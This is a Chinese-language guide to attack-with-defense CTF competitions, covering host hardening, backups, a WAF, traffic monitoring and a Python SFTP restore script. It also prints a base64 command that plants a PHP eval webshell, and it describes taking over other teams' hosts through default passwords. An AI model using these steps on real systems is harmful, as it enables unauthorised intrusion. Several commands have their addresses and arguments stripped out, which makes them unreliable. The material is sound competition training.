对于awd而言简单来说就是分为三步:
1.登录平台,查看规则,探索flag提交方式,比赛开始前有时间的话使用nmap或者httpscan等工具 扫一下IP段,整理各队的IP(靶机的IP应该是比赛开始后才会给出)。
2.登录ssh->dump源码->D盾去后门->一人写批量脚本,一个人去修->部署waf,流量监控。
3.控制npc->加固npc(拿到别人的靶机也是一样),紧盯流量。
连接ssh
一般情况下比赛方给的密码都过于简单,属于弱口令,可能存在被爆破成功的机会,登录之后,首先就是修改密码。
linux修改ssh即本地密码passwd
修改后台登录密码mysql -u root -pshow databases;use test;show tables;
select * from admin;
updata admin set user pass=’123456’; //updata 表名 set 字段名 = ‘值’;
flush privileges;
修改mysql登录密码
方法一:mysql>set password for root@localhost =password(‘ocean888’);config.php文件中是有数据库的连接信息,执行完上条命令后更改此文件。
方法二:mysqladmin -uroot -p 123456 password 123 root=用户名; 123456=旧密码; 123=新密码;
使用ssh工具保留源码,复制两份,用d盾去扫一份
注意:如果使用tar命令打包文件夹,.index.php(隐藏类型文件)将不会被打包
或者使用scp命令。
数据库备份
登录数据库,命令备份数据库
mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库
cd /var/lib/mysqlmysqldump -u db_user -p db_passwd > 1.sql //先进入数据库目录再备份
mysqldump —all-databases > 1.sql //备份所有数据库
数据库还原
mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库
cd /var/lib/mysqlmysql -u db_user db_passwd < 1.sql //先进入数据库目录再还原
1.查看是否留有后门账户
2.关注是否运行了“特殊”进程
3.是否使用命令匹配一句话
4.关闭不必要端口,如远程登陆端口,木马端口
1.d盾扫描删除预留后门文件,代码审计工具审计
2.流量监控脚本部署
3.waf脚本部署挂waf
每个文件前加require_once(waf.php)
改 .user.ini配置文件 auto_prepend_file=
注:如果挂了waf出现持续扣分,waf去掉(根据比赛实际情况而定)
4.文件监控脚本部署注意:现上好waf再上文件监控靶机没有python的话要先安python(视情况而 定)
利用漏洞进行既包括自己去审计挖掘漏洞,也包括看流量分析出其他师傅发现的漏洞的复现
1.通过预留后门批量拿分
2.批量修改ssh账号密码
3.通过脚本批量获取flag
4.脚本批量提交flag
以上就是awd开局所需要做的事情,下文从攻击和防御做详细介绍
使用nmap对c段或端口进行扫描(看主办方给的靶机情况而定)
nmap
知道IP地址扫端口
.\nmap 192.168.1.1 -p1-65535
扫C段
.\nmap 192.168.1.1/24
根据ip列表扫,有一个ip地址列表,将这个保存为一个txt文件,和namp在同一目录下,扫描这个txt内的所有主机
nmap -iL ip.txt
nmap扫描完毕后,win按住alt键
只提取端口就行
awd中存在较多的主要是以下几种漏洞
命令执行,直接cat /flag,尽量混淆流量也可以通过命令执行执行上传一句话木马,直接用py脚 本批量传,美哉!
echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8+Cg==|base64 -d>>.index.php
#
文件读取,直接读取或者是伪协议方式读取flag
sql注入,数据库中有flag,或者sql注入写shell
文件上传,绕过黑白名单上传一句话,小马拉大马或者不死马
awd时间一般较短,所以漏洞不会太深,比较容易发现,有的会直接放几个明显的后门,考验选手们的手速(预留后门有时候会在很明显的目录,仔细观察就可以)
防御主要包括三个监控:
文件监控
流量监控
端口监控
查找可能的password
cd /var/www/html
find .|xargs grep "password"
查找后门
find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
查找flag的位置
使用 `find / -name *flag*` 或 `grep -rn "flag" *` 类似的语句可以快速发现 flag 所在的地方,方便后续拿分
备份网站源码和数据库
mobaxterm直接拖
备份数据库在dump源码部分有
scp -r -P Port remote_username@remote_ip:remote_folder local_file
检查有没有多余无用端口对外开放
netstat -anptl
waf部署需要谨慎,分为两种情况:无check机制、部分检查不允许上通防waf,有些比赛上通防可能会扣掉很多分实在不划算
还需要注意的是:上完waf检查服务是否可用
无check机制
部分检查允许使用部分小的waf,会检查页面完整性、服务完整性
直接github找一些waf即可。
1.强行kill掉进程后重启服务(不建议)
ps -aux|grep ‘www-data’|awk ‘{print $2}’|xargs kill -9
2.建立一个和不死马相同名字的文件或者目录,sleep短于不死马
3.写脚本不断删除
如果有弱口令,拿到密码后先更改,然后用默认密码去批量登录其他的主机
ssh密码就是本机密码
passwd命令改密码
phpmyadmin的密码就是数据库的密码,直接改mysql密码
注意:不要点击生成,直接点击执行就行了!
修改mysql登录密码
方法一:
mysql>set password for root@localhost =password(‘ocean888’);
config.php文件中是有数据库的连接信息,执行完上条命令后更改此文件
方法二:
mysqladmin -uroot -p 123456 password 123
root=用户名; 123456=旧密码; 123=新密码;
修改后台登录密码
mysql -u root -p
show databases;
use test;
show tables;
select * from admin;
updata admin set user pass=’123456’; //updata 表名 set 字段名 = ‘值’;
flush privileges;
可以使用ssh远程去连接靶机进行监控
vscode‐>ssh插件或者是phpstorm,实时在线编辑
监听还原脚本‐>5分钟还原一次
使用本地py环境运行,需要更改sshIP及端口(下附监控脚本一个)
# -*- encoding: utf-8 -*-
'''
监听还原脚本‐>5分钟还原一次
@File : awd.py
@Time : 2020/08/09 20:44:54
@Author : iloveflag
@Version : 1.0
@Contact : [email protected]
@Desc : The Win32 port can only create tar archives,
but cannot pipe its output to other programs such as gzip or compress,
and will not create tar.gz archives; you will have to use or simulate a batch pipe.
BsdTar does have the ability to direcly create and manipulate .tar, .tar.gz, tar.bz2, .zip,
.gz and .bz2 archives, understands the most-used options of GNU Tar, and is also much faster;
for most purposes it is to be preferred to GNU Tar.
'''
import paramiko
import os
import time
def web_server_command(command,transport): #对服务器执行命令
ssh = paramiko.SSHClient()
ssh._transport = transport
stdin, stdout, stderr = ssh.exec_command(command)
# print(stdout.read())
def web_server_file_action(ip, port, user, passwd, action): #对服务器文件操作
try:
transport = paramiko.Transport(ip, int(port))
transport.connect(username=user, password=passwd)
sftp = paramiko.SFTP.from_transport(transport)
remote_path='/var/www/html/'
remote_file = 'html.tar'
local_path = 'C:/Users/'+os.getlogin()+'/Desktop/awd/'+ip+'/'
web_server_command('cd '+remote_path+' && tar -cvf '+remote_file+' ./',transport)
if not(os.path.exists(local_path)):
os.makedirs(local_path)
if action == 'get':
sftp.get(remote_path+remote_file,local_path+remote_file)
web_server_command('rm -rf '+remote_path+remote_file,transport)
print('服务器源码保存在'+local_path)
print('正在解压:')
os.system('cd '+local_path+' & tar -xvf '+remote_file+' &del '+remote_file)
print('文件解压完成')
else:
web_server_command('rm -rf '+remote_path+'*',transport)
print('清理服务器web目录')
os.system('cd '+local_path+' & tar -cvf '+remote_file+' ./*')
sftp.put(local_path+remote_file, remote_path+remote_file)
print('上传成功')
web_server_command('cd '+remote_path+'&& tar -xvf '+remote_file+' && rm -rf '+remote_file,transport)
print('还原完毕')
print('-----------------------------')
sftp.close()
except:
pass
print('download or upload error')
def web_server_mysql_action():
#web_server_mysql_action
pass
def web_server_status():
#web_server_status
pass
if __name__ == '__main__':
web1_server_ip='10.241.180.159'
web1_server_port='30021'
web1_server_user='ctf'
web1_server_passwd='123456'
while(1):
for i in range(5,0,-1):
time.sleep(1)
print('倒计时'+str(i)+'秒')
web_server_file_action(web1_server_ip,web1_server_port,web1_server_user,web1_server_passwd, 'put')
ssh <-p 端口> 用户名@IP
scp 文件路径 用户名@IP:存放路径
tar -zcvf web.tar.gz /var/www/html/
w
pkill -kill -t <用户tty>
ps aux | grep pid或者进程名
#查看已建立的网络连接及进程
netstat -antulp | grep EST
#查看指定端口被哪个进程占用
lsof -i:端口号 或者 netstat -tunlp|grep 端口号
#结束进程命令
kill PID
killall <进程名>
kill -
#封杀某个IP或者ip段,如:.
iptables -I INPUT -s . -j DROP
iptables -I INPUT -s ./ -j DROP
#禁止从某个主机ssh远程访问登陆到本机,如123..
iptable -t filter -A INPUT -s . -p tcp --dport -j DROP
#检测所有的tcp连接数量及状态
netstat -ant|awk |grep |sed -e -e |sort|uniq -c|sort -rn
#查看页面访问排名前十的IP
cat /var/log/apache2/access.log | cut -f1 -d | sort | uniq -c | sort -k -r | head -
#查看页面访问排名前十的URL
cat /var/log/apache2/access.log | cut -f4 -d | sort | uniq -c | sort -k -r | head -
流量监控也是可以使用aoiawd进行,aoiawd还是在后边,或者用别的脚本记录流量,有的比赛也会定时提供上阶段流量
被上马一定要先备份到本地,再删除、去分析反打别人
'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
// log记录
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>
(1) ip.addr == 192.168.1.1 //只显示源/目的IP为192.168.1.1的数据包
(2) not ip.src == 1.1.1.1 //不显示源IP为1.1.1.1的数据包
(3) ip.src == 1.1.1.1 or ip.dst == 1.1.1.2 //只显示源IP为1.1.1.1或目的IP为1.1.1.2的数据包
(1) tcp.port eq 80 #不管端口是来源还是目的都显示80端口
(2) tcp.port == 80
(3) tcp.port eq 2722
(4) tcp.port eq 80 or udp.port eq 80
(5) tcp.dstport == 80 #只显示tcp协议的目标端口80
(6) tcp.srcport == 80 #只显示tcp协议的来源端口80
(7) udp.port eq 15000
(8) tcp.port >= 1 and tcp.port <= 80 #过滤端口范围
(1) eth.dst == MAC地址 #过滤目标MAC
(2) eth.src eq MAC地址 #过滤来源MAC
(3)eth.addr eq MAC地址 #过滤来源MAC和目标MAC都等于MAC地址的
(1) http.request.method == “GET”
(2) http.request.method == “POST”
(3) http.host mathes “www.baidu.com|http://baidu.cn“ #matches可以写多个域名
(4) http.host contains “http://www.baidu.com“ #contain只能写一个域名
(5) http contains “GET” 例如: http.request.method ==”GET” && http contains “Host: “ http.request.method == “GET” && http contains “User-Agent: “ http.request.method ==”POST” && http contains “Host: “ http.request.method == “POST” && http contains “User-Agent: “ http contains “HTTP/1.1 200 OK” && http contains “Content-Type: “ http contains “HTTP/1.0 200 OK” && http contains “Content-Type: “
抓取所有经过ens33,目的或源端口22的网络数据:
tcpdump -i ens33 port 22
指定源端口:tcpdump -i ens33 sec port 22
指定目的端口: tcpdump -i ens33 dst port 22
tcpdump -i ens33 net 192.168.1.1
tcpdump -i ens33 src net 192.168.1.1 #源端口
tcpdump -i ens33 dst net 192.168.1.1 #目的端口
tcpdump -i ens33 arp
tcpdump -i ens33 ip
tcpdump -i ens33 tcp
tcpdump -i ens33 udp
tcpdump -i ens33 icmp
tcpdump -w 1.pcap #抓所有包保存到1.pcap中然后使用wireshark分析
- netstat -anptl 查看开放端口
- ps aux 以用户为主的格式来查看所有进程
pa aux | grep tomcat
ps -A 显示进程信息
ps -u root 显示root进程用户信息
ps -ef 显示所有命令,连带命令行
- kill 终止进程
kill -9 pid
//kill -15、kill -9的区别
执行kill(默认kill -15)命令,执行kill (默认kill-15) 命令,系统会发送一个SIGTERM信号给对应的程序,,大部分程序接收到SIGTERM信号后,会先kill -9命令,系统给对应程序发送的信号是SIGKILL,即exit。exit信号不会被系统阻塞,所以kill -9能顺利杀掉进程
- vim编辑器
命令行模式下
/ 查找内容
? 查找内容
n 重复上一条检索命令
N 命令重复上一条检索命令
总结:打awd不能着急,就算是自己比分较低,也不要放弃,因为不到最后谁输谁赢还真说不一 定,本鱼亲身尝试!